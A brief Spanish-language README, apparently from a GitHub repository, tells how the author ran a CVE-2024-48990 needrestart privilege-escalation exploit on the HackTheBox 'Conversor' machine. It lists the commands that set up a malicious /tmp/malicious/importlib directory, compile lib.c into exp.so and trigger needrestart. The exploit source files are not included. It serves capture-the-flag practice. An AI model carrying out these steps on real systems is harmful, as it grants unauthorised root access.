0x3bs/cve-2024-48990probé esto en la máquina Conversor de HTB
hola esto es 0x3bs
En máquina víctima:
set -e
cd /tmp
# 1. Create the malicious module directory structure
mkdir -p malicious/importlib
En máquina atacante
para compilar lib.c en máquina atacante :
gcc -shared -fPIC -o exp.so lib.c
y en máquina víctima :
en /tmp
chmod +x run.sh
en /tmp/malicious/importlib :
chmod +x exp.so
./exp.so
# try to run it after run 'run.sh' if it didn't work
y en /tmp
./run.sh
y en otra sesión ejecuta needrestart
recuerda >> el exp.so debe estar en /tmp/malicious/importlib